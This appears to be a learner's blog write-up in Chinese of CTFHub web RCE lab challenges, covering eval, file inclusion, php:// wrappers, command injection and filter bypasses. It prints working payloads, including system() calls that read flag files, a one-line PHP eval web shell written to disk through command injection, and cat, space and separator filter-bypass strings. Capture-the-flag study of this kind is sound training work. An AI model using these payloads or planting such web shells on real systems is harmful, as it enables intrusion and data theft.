CTFHUB学习第一天web的RCE

发布时间 2023-10-24 03:39:29作者: BUGCATCAPOO

CTFHUB部分

可以参考这位大佬做的入门题目视频,过程很详细

CTF-Web入门教程:RCE_哔哩哔哩_bilibili

RCE

eval(命令执行)

第一题使用蚁剑根据题目提示需要cmd,连接密码写cmd,测试连接成功,好,发现打不开库,看看其它办法

$_REQUESTPHP $_POST 变量 | 菜鸟教程 (runoob.com)

哦出来了,发现是忘记把burpsite拦截关掉了

关于蚁剑和burpsite拦截代理设置可以参考其他文章拦截浏览器数据,但是我用的burpsite一般我都拦截内嵌浏览器,不需要设置代理,所以我也不会设置代理(bushi

在蚁剑文件管理添加连接后双击进入文件管理/根目录下最下面有个flag_16502文件,打开就是flag

 

还有另一种思路,可以使用   /?cmd=system("ls /");  查看上一级目录文件夹

用    /?cmd=system("cat flag_16502");   抓取flag文件

/?以及后面内容加在链接后面表示以GET方式传递参数

 

文件包含

进去首先提示我们它有shell,如何运行他,看php代码

第一行error........表示忽略错误

下一行发现要以GET方式传递参数

在链接后面加上/?file=phpinfo();查看php信息,按ctrl+f搜索disable没有用还没搞清楚,可能是没有调用的原因,参考下面资料

PHP $_GET 变量 | 菜鸟教程 (runoob.com)

PHP $_GET (w3school.com.cn)

可以使用wappalyzer分析网站指纹,即使用什么样的技术,以及版本,详细安装过程暂且不展开讲述

有shell在链接后面加\shell.txt,得到代码

<?php eval($_REQUEST['ctfhub']);?>

使用HackBar在得到这段代码的页面传递POST参数

ctfhub=phpinfo();查看php信息,按ctrl+f搜索disable查看disablefunction查看被禁用函数

没有用,参考视频,想到应该是链接地址而不是文档

在原地址后加上/?file=shell.txt

再post传递

ctfhub=phpinfo();查看php信息,按ctrl+f搜索disable查看disablefunction查看被禁用函数,为空,可以使用system和cat函数

ctfhub=system('ls /');得到 目录下面含有flag文件

ctfhub=system('cat /flag');抓取flag文件得到flag

php://input

提示没有shell,先看代码

<?phpif (isset($_GET['file'])) {

    if ( substr($_GET["file"], 0, 6) === "php://" ) {

        include($_GET["file"]);

    } else {

        echo "Hacker!!!";

    }

} else {

    highlight_file(__FILE__);

}?>

<hr>

i don't have shell, how to get flag? <br>

<a href="phpinfo.php">phpinfo</a>

点击phpinfo可以查看phpinfo

同样禁用class和function都为空

===为强等于,要求完全相等,==为弱等于web题-11_弱类型问题.mp4_哔哩哔哩_bilibili参考这个视频捏

题目链接后面加/?file=php://input

同时hackbar  POST 传递参数file=<?php system('ls /');?>将文件包含漏洞变为执行漏洞执行system函数

文件包含————ctfhub之php://input_php://input ctf_Anfy1的博客-CSDN博客

php输入流php://input的使用分析_iteye_5904的博客-CSDN博客

得到file=%3C%3Fphp+system%28%27ls+%2F%27%29%3B%3F%3E,为byte字符串,使用burpsite抓包

响应方法虽然是GET但是也可以在最下面加上   file=<?php system('ls /');?>

在美化或者raw界面查看目录

 

响应

 上面部分隐藏了

file=bin

boot

dev

etc

flag_14953

home

lib

lib64

media

mnt

opt

proc

root

run

sbin

srv

sys

tmp

usr

var<hr>

i don't have shell, how to get flag? <br><a href="phpinfo.php">phpinfo</a>

利用cat抓取flag_14953

改一下传递的参数

 file=<?php system('cat /flag_14953');?>

 file=ctfhub{e91610dcc14854bd8bed5700}

读取源代码

ctfhub-读取源代码_ctfhub 读取源代码_At0m_的博客-CSDN博客

查看题目

IMG_256

php://input不能使用

参考phpinfo中的allow_url_fopen,allow_url_include选项

PHP substr() 函数 (w3school.com.cn)     返回字符串一部分

003-漏洞梳理篇之php伪协议_php伪协议漏洞_Min1996的博客-CSDN博客

php://filter 参数

resource=<要过滤的数据流> 

必须项。它指定了你要筛选过滤的数据流。

read=<读链的过滤器>

可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。

write=<写链的过滤器>

可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。

<; 两个链的过滤器>

 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

 

 

 

 

 

可以构造链接,因为告诉了flag位置   

/?file=php://filter/resource=/flag

得到flag

让flag以base64加密的方式输出:

?file=php://filter/read=convert.base64-encode/resource=/flag

远程包含

题目

 <?php

error_reporting(0);

if (isset($_GET['file'])) {

if (!strpos($_GET["file"], "flag")) {

include $_GET["file"];

} else {

echo "Hacker!!!";

}

} else {

highlight_file(__FILE__);

}

?><hr>

i don't have shell, how to get flag?<br><a href="phpinfo.php">phpinfo</a>

i don't have shell, how to get flag?

phpinfo

PHP strpos() 函数 | 菜鸟教程 (runoob.com)

查找 "php" 在字符串中第一次出现的位置

 

PHPinfo当中表明php://input可以用

IMG_257

IMG_258

IMG_259

 

 

以下部分到backdoorⅡ之前照抄参考了大佬博客,后续我会继续补充学习里面的部分内容讲一下原理,让萌新更容易入门

这个大佬的过程,里面有知识点补充

CTFHub题解-技能树-Web-RCE【过滤目录分隔符、过滤运算符、综合过滤练习】(二) - 0yst3r - 博客园 (cnblogs.com)

CTFHub题解-技能树-Web-RCE【命令注入、过滤cat、过滤空格】(一) - 0yst3r - 博客园 (cnblogs.com)

命令注入

IMG_260

 

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {

$cmd = "ping -c 4 {$_GET['ip']}";

exec($cmd, $res);

}

?>

<!DOCTYPE html><html><head>

<title>CTFHub 命令注入-无过滤</title></head><body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET">

<label for="ip">IP : </label><br>

<input type="text" id="ip" name="ip">

<input type="submit" value="Ping"></form>

<hr>

<pre>

<?php

if ($res) {

print_r($res);

}

?></pre>

<?php

show_source(__FILE__);

?>

</body></html>

Windows系统支持的管道符如下:

 

1. “|”:直接执行后面的语句。

2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。

3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。

4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:

1. “;”:执行完前面的语句再执行后面的语句。 2. “|”:显示后面语句的执行结果。 3. “||”:当前面的语句执行出错时,执行后面的语句。 4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。 5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

方法一:ping

 先试试本机的IP地址

127.0.0.1

 IMG_261

IMG_262

ip = 127.0.0.1&cat 8196178091203.php

 

IMG_263

GET /?ip=1277.0.0.1%26cat+8196178091203.php HTTP/1.1  这一行是GET传递参数可以看一下HTTP的传入格式

网页渲染不出来,可以试试burpsite抓包抓取(其实按F12开发者工具也有flag)错误的这是假flag

IMG_264

得到flag

或者

正确方法:输入得到base64编码然后解码也行,IP填写   127.0.0.1&cat 8196178091203.php | base64

方法二:蚁剑

填入 127.0.0.1&echo"<?php @eval($_POST['test']);?>">555.php  创建文件555.php等我研究一下再看看()IMG_265

原作者说明

IMG_266

 

正确做法:127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php 创建文件555.php

IMG_267

IMG_268

连接成功,打开那个php就行

 

 

 

过滤cat

  反斜杠 : 例如  ca\t fl\ag.php

 

  连接符: 例如   ca''t fla''g.txt

 

输入:   

这里的第一个方法我没有亲自尝试,是按照大佬的思路来写的

127.0.0.1&ls  先找出php文件

127.0.0.1&ca\t flag_301343127217397.php

看不到flag,用base64编码输出 127.0.0.1&ca\t flag_301343127217397.php | base64        | base64

 

虽然大佬是用base64编码输出的,但是我个人更喜欢用蚁剑查看,和上一题蚁剑做法一样

过滤空格

在 bash 下, 空格可以用以下字符代替空格:

 <,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS  等(摘抄)

其他的和上面的题一样不在此赘述

过滤目录分隔符

(1)过滤了目录分隔符  / ,那么我们就 cd 命令进入对应的目录。

(2)base64转码

过滤运算符

(1)过滤了 | 与 & ,那我们就使用 ; 分隔命令来代替

(2)base64解码

综合过滤练习

url补充表

 

 

IMG_270

IMG_272

 

在本题目中我们会用到:

 

   %0a 代替 换行 , %09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here)

   %5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了qwq)